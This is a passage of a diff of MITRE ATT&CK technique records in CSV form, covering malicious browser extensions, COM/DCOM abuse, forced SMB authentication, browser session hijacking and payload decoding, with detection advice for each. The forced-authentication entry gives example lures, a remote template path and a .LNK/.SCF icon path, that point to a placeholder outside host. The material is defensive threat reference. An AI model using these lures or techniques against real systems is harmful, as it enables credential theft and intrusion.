Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)",False,['User'],"['Linux', 'macOS', 'Windows', 'Network']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1176', 'external_id': 'T1176'}, {'source_name': 'Wikipedia Browser Extension', 'description': 'Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.', 'url': 'https://en.wikipedia.org/wiki/Browser_extension'}, {'source_name': 'Chrome Extensions Definition', 'description': 'Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.', 'url': 'https://developer.chrome.com/extensions'}, {'source_name': 'Malicious Chrome Extension Numbers', 'description': 'Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.', 'url': 'https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf'}, {'source_name': 'xorrior chrome extensions macOS', 'description': 'Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.', 'url': 'https://www.xorrior.com/No-Place-Like-Chrome/'}, {'source_name': 'Chrome Extension Crypto Miner', 'description': 'Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.', 'url': 'https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/'}, {'source_name': 'ICEBRG Chrome Extensions', 'description': 'De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.', 'url': 'https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses'}, {'source_name': 'Banker Google Chrome Extension Steals Creds', 'description': 'Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.', 'url': 'https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/'}, {'source_name': 'Catch All Chrome Extension', 'description': 'Marinho, R. (n.d.). ""Catch-All"" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.', 'url': 'https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)'}, {'source_name': 'Stantinko Botnet', 'description': 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.', 'url': 'https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/'}, {'source_name': 'Chrome Extension C2 Malware', 'description': 'Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.', 'url': 'https://kjaer.io/extension-malware/'}]",1.2,attack-pattern,attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-01-16T16:13:52.465Z,2021-04-27T19:56:54.161Z,Browser Extensions,"Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions. @@ -2983,27 +3215,12 @@ Previous to macOS 11, adversaries could silently install browser extensions via Once the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. -There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)",attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8,attack-pattern,['persistence'],2021-04-27T19:56:54.161Z,2018-01-16T16:13:52.465Z,"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. +There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)",['persistence'],https://attack.mitre.org/techniques/T1176,mitre-attack,T1176,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Chris Ross @xorrior', 'Justin Warner, ICEBRG']","['Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Creation', 'File: File Creation']",,"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. -On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)","['Command: Command Execution', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Creation', 'File: File Creation']","['Chris Ross @xorrior', 'Justin Warner, ICEBRG']",,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1175', 'url': 'https://attack.mitre.org/techniques/T1175'}, {'source_name': 'Fireeye Hunting COM June 2019', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'source_name': 'Microsoft COM'}, {'url': 'https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1', 'description': 'Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.', 'source_name': 'Microsoft COM ACL'}, {'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx', 'description': 'Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.', 'source_name': 'Microsoft Process Wide Com Keys'}, {'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx', 'description': 'Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.', 'source_name': 'Microsoft System Wide Com Keys'}, {'url': 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html', 'description': 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.', 'source_name': 'ProjectZero File Write EoP Apr 2018'}, {'url': 'https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/', 'description': ""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", 'source_name': 'Enigma Outlook DCOM Lateral Movement Nov 2017'}, {'url': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/', 'description': 'Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', 'source_name': 'Enigma MMC20 COM Jan 2017'}, {'url': 'https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/', 'description': 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.', 'source_name': 'Enigma DCOM Lateral Movement Jan 2017'}, {'url': 'https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/', 'description': 'Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.', 'source_name': 'Enigma Excel DCOM Sept 2017'}, {'url': 'https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom', 'description': 'Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.', 'source_name': 'Cyberreason DCOM DDE Lateral Movement Nov 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",2.0,False,https://attack.mitre.org/techniques/T1175,mitre-attack,T1175,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Component Object Model and Distributed COM,"**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).** - -Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. - -COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019) - -Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM. - -Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) - -Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7,attack-pattern,"['lateral-movement', 'execution']",2020-03-30T13:36:10.069Z,2018-01-16T16:13:52.465Z,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) - -Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. - -Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",,,,"['Administrator', 'SYSTEM', 'User']",['Windows'],True,,,,,,,True,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1187', 'url': 'https://attack.mitre.org/techniques/T1187'}, {'url': 'https://en.wikipedia.org/wiki/Server_Message_Block', 'description': 'Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.', 'source_name': 'Wikipedia Server Message Block'}, {'url': 'https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/', 'description': 'Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.', 'source_name': 'Didier Stevens WebDAV Traffic'}, {'url': 'https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx', 'description': 'Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.', 'source_name': 'Microsoft Managing WebDAV Security'}, {'url': 'https://github.com/hob0/hashjacking', 'description': 'Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.', 'source_name': 'GitHub Hashjacking'}, {'url': 'https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf', 'description': 'Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.', 'source_name': 'Cylance Redirect to SMB'}, {'url': 'https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/', 'description': 'Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.', 'source_name': 'Osanda Stealing NetNTLM Hashes'}, {'url': 'https://www.us-cert.gov/ncas/alerts/TA17-293A', 'description': 'US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.', 'source_name': 'US-CERT APT Energy Oct 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.2,False,https://attack.mitre.org/techniques/T1187,mitre-attack,T1187,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Forced Authentication,"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. +On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)",False,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1187', 'external_id': 'T1187'}, {'source_name': 'Wikipedia Server Message Block', 'description': 'Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.', 'url': 'https://en.wikipedia.org/wiki/Server_Message_Block'}, {'source_name': 'Didier Stevens WebDAV Traffic', 'description': 'Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.', 'url': 'https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/'}, {'source_name': 'Microsoft Managing WebDAV Security', 'description': 'Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.', 'url': 'https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx'}, {'source_name': 'GitHub Hashjacking', 'description': 'Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.', 'url': 'https://github.com/hob0/hashjacking'}, {'source_name': 'Cylance Redirect to SMB', 'description': 'Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.', 'url': 'https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf'}, {'source_name': 'Osanda Stealing NetNTLM Hashes', 'description': 'Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.', 'url': 'https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/'}, {'source_name': 'US-CERT APT Energy Oct 2017', 'description': 'US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-293A'}]",1.2,attack-pattern,attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-01-16T16:13:52.465Z,2020-06-19T17:16:41.470Z,Forced Authentication,"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. @@ -3014,19 +3231,26 @@ Adversaries may take advantage of this behavior to gain access to user account h There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) -* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)",attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2,attack-pattern,['credential-access'],2020-06-19T17:16:41.470Z,2018-01-16T16:13:52.465Z,"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. +* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)",['credential-access'],https://attack.mitre.org/techniques/T1187,mitre-attack,T1187,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Teodor Cimpoesu', 'Sudhanshu Chauhan, @Sudhanshu_C']","['File: File Access', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. + +Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)",False,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1185', 'external_id': 'T1185'}, {'source_name': 'Wikipedia Man in the Browser', 'description': 'Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.', 'url': 'https://en.wikipedia.org/wiki/Man-in-the-browser'}, {'source_name': 'Cobalt Strike Browser Pivot', 'description': 'Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.', 'url': 'https://www.cobaltstrike.com/help-browser-pivoting'}, {'source_name': 'ICEBRG Chrome Extensions', 'description': 'De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.', 'url': 'https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses'}, {'source_name': 'cobaltstrike manual', 'description': 'Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.', 'url': 'https://cobaltstrike.com/downloads/csmanual38.pdf'}]",2.0,attack-pattern,attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-01-16T16:13:52.465Z,2021-10-18T12:11:16.808Z,Browser Session Hijacking,"Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser) + +A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. -Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)","['File: File Access', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']","['Teodor Cimpoesu', 'Sudhanshu Chauhan, @Sudhanshu_C']",,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1185', 'external_id': 'T1185'}, {'url': 'https://en.wikipedia.org/wiki/Man-in-the-browser', 'description': 'Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.', 'source_name': 'Wikipedia Man in the Browser'}, {'url': 'https://www.cobaltstrike.com/help-browser-pivoting', 'description': 'Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.', 'source_name': 'Cobalt Strike Browser Pivot'}, {'url': 'https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses', 'description': 'De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.', 'source_name': 'ICEBRG Chrome Extensions'}, {'url': 'https://cobaltstrike.com/downloads/csmanual38.pdf', 'description': 'Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.', 'source_name': 'cobaltstrike manual'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,False,https://attack.mitre.org/techniques/T1185,mitre-attack,T1185,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Man in the Browser,"Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser) +Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",['collection'],https://attack.mitre.org/techniques/T1185,mitre-attack,T1185,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Justin Warner, ICEBRG']","['Process: Process Modification', 'Process: Process Access', 'Logon Session: Logon Session Creation']",,"This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.",False,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1140', 'external_id': 'T1140'}, {'source_name': 'Malwarebytes Targeted Attack against Saudi Arabia', 'description': 'Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.', 'url': 'https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/'}, {'source_name': 'Carbon Black Obfuscation Sept 2016', 'description': 'Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.', 'url': 'https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/'}, {'source_name': 'Volexity PowerDuke November 2016', 'description': 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.', 'url': 'https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/'}]",1.1,attack-pattern,attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2020-07-09T14:42:23.122Z,Deobfuscate/Decode Files or Information,"Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. -A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions) +One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) + +Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)",['defense-evasion'],https://attack.mitre.org/techniques/T1140,mitre-attack,T1140,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward', 'Red Canary']","['Process: Process Creation', 'File: File Modification', 'Script: Script Execution']","['Anti-virus', 'Host intrusion prevention systems', 'Signature-based detection', 'Network intrusion detection system']","Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). -Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)",attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47,attack-pattern,['collection'],2021-02-09T15:34:09.429Z,2018-01-16T16:13:52.465Z,"This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications.","['Process: Process Access', 'Logon Session: Logon Session Creation']","['Justin Warner, ICEBRG']",,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1134', 'url': 'https://attack.mitre.org/techniques/T1134'}, {'external_id': 'CAPEC-633', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/633.html'}, {'url': 'https://pentestlab.blog/2017/04/03/token-manipulation/', 'description': 'netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.', 'source_name': 'Pentestlab Token Manipulation'}, {'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'source_name': 'Microsoft Command-line Logging'}, {'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'source_name': 'Microsoft LogonUser'}, {'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'source_name': 'Microsoft DuplicateTokenEx'}, {'url': 